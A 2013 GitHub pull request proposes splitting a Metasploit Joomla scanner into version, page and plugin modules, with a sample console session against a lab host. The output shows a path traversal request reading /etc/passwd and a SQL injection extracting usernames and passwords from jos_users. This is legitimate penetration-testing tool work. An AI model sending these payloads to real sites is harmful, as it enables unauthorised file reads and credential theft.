Newpid0/metasploit-framework — pull request #1 by jvazquez-r7 (2013-01-25 19:52:31+00:00)
Title: Proposal for joomla-scanner

Hi @Newpid0,

This pull request is related to https://github.com/rapid7/metasploit-framework/pull/1345

After looking at the code behind joomla_scanner I think it's really a lot of code and functions / golas for just one module. After checking with other msf developers I've decided to split this work in three modules:

* joomla_version.rb : fingerprints os and joomla version
* joomla_pages.rb : scans for common joomla pages
* joomla_plugins.rb : scans for joomla plugins and vulnerabilities

In this way the code is more readable and easy to maintain / extend. On the other hand if you want to launch the three scanners against a set of hosts you can use a rc file still to do it in an automated way.

Also I've tried to clean the code and introduced some improvements like the reporting of notes and vulnerabilities. I hope you like this proposal. If it's the case please check the code carefully, test all what you need, discuss/ask anything and once you feel comfortable and ready land this pull request. In this way the PR https://github.com/rapid7/metasploit-framework/pull/1345 will be updated automatically.

Example of use:

```
msf auxiliary(joomla_plugins) > use auxiliary/scanner/http/joomla_version
msf auxiliary(joomla_version) > run

[*] 192.168.1.138:80 - Checking Joomla version
[+] 192.168.1.138:80 - Joomla Version: 2.5.5 from: language/en-GB/en-GB.xml
[+] 192.168.1.138:80 - OS: *Nix
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(joomla_version) > use auxiliary/scanner/http/joomla_pages
msf auxiliary(joomla_pages) > run

[*] 192.168.1.138:80 - Checking for interesting pages
[+] 192.168.1.138:80 - Page Found: /joomla/robots.txt
[+] 192.168.1.138:80 - Administrator Login Page: /joomla/administrator/index.php
[+] 192.168.1.138:80 - Registration Page: /joomla/index.php/component/users/?view=registration
[+] 192.168.1.138:80 - Page Found: /joomla/htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(joomla_pages) > use auxiliary/scanner/http/joomla_plugins
msf auxiliary(joomla_plugins) > run

[+] 192.168.1.138:80 - Plugin: /joomla/administrator/components/
[+] 192.168.1.138:80 - Plugin: /joomla/administrator/components/com_admin/
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_banners/
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_banners
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_content/
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_content
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_mailto/
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_search/
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_search
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_users/
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_users
[+] 192.168.1.138:80 - Plugin: /joomla/components/com_weblinks/
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_weblinks
[+] 192.168.1.138:80 - Plugin: /joomla/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
[+] 192.168.1.138:80 - Plugin: /joomla/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[+] 192.168.1.138:80 - Plugin: /joomla/index.php?option=com_users&view=registration
[+] 192.168.1.138:80 - Page: /joomla/index.php?option=com_users&view=registration
[+] 192.168.1.138:80 - Plugin: /joomla/libraries/phpmailer/phpmailer.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(joomla_plugins) > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.138 Unknown device

msf auxiliary(joomla_plugins) > services

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
192.168.1.138 80 tcp http open

msf auxiliary(joomla_plugins) > notes
[*] Time: 2013-01-25 19:39:06 UTC Note: host=192.168.1.138 type=joomla_version data=" 2.5.5"
[*] Time: 2013-01-25 19:39:11 UTC Note: host=192.168.1.138 type=joomla_page data="Page Found: /joomla/robots.txt"
[*] Time: 2013-01-25 19:39:11 UTC Note: host=192.168.1.138 type=joomla_page data="Administrator Login Page: /joomla/administrator/index.php"
[*] Time: 2013-01-25 19:39:12 UTC Note: host=192.168.1.138 type=joomla_page data="Registration Page: /joomla/index.php/component/users/?view=registration"
[*] Time: 2013-01-25 19:39:12 UTC Note: host=192.168.1.138 type=joomla_page data="Page Found: /joomla/htaccess.txt"
[*] Time: 2013-01-25 19:39:19 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/administrator/components/"
[*] Time: 2013-01-25 19:39:21 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/administrator/components/com_admin/"
[*] Time: 2013-01-25 19:39:23 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_banners/"
[*] Time: 2013-01-25 19:39:23 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_banners"
[*] Time: 2013-01-25 19:39:23 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_content/"
[*] Time: 2013-01-25 19:39:23 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_content"
[*] Time: 2013-01-25 19:39:24 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_mailto/"
[*] Time: 2013-01-25 19:39:24 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_search/"
[*] Time: 2013-01-25 19:39:24 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_search"
[*] Time: 2013-01-25 19:39:24 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_users/"
[*] Time: 2013-01-25 19:39:24 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_users"
[*] Time: 2013-01-25 19:39:25 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/components/com_weblinks/"
[*] Time: 2013-01-25 19:39:25 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_weblinks"
[*] Time: 2013-01-25 19:39:25 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1"
[*] Time: 2013-01-25 19:39:31 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--"
[*] Time: 2013-01-25 19:39:31 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos"
[*] Time: 2013-01-25 19:39:33 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/index.php?option=com_users&view=registration"
[*] Time: 2013-01-25 19:39:34 UTC Note: host=192.168.1.138 type=joomla_page data="Page: /joomla/index.php?option=com_users&view=registration"
[*] Time: 2013-01-25 19:39:34 UTC Note: host=192.168.1.138 type=joomla_plugin data="/joomla/libraries/phpmailer/phpmailer.php"

```